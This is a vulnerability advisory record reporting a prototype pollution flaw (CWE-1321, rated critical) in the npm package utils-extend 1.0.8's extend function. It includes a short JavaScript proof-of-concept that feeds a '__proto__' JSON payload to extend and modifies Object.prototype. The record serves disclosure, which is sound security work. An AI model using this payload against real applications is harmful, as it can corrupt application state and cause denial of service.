The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
async function exploit() {
const utilsextend = require(\"utils-extend\");
const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
const result = await utilsextend.extend({}, payload);
}
await exploit();
{
"cwe_ids": [
"CWE-1321"
],
"github_reviewed_at": "2025-02-06T23:31:52Z",
"github_reviewed": true,
"severity": "CRITICAL",
"nvd_published_at": "2025-02-05T22:15:31Z"
}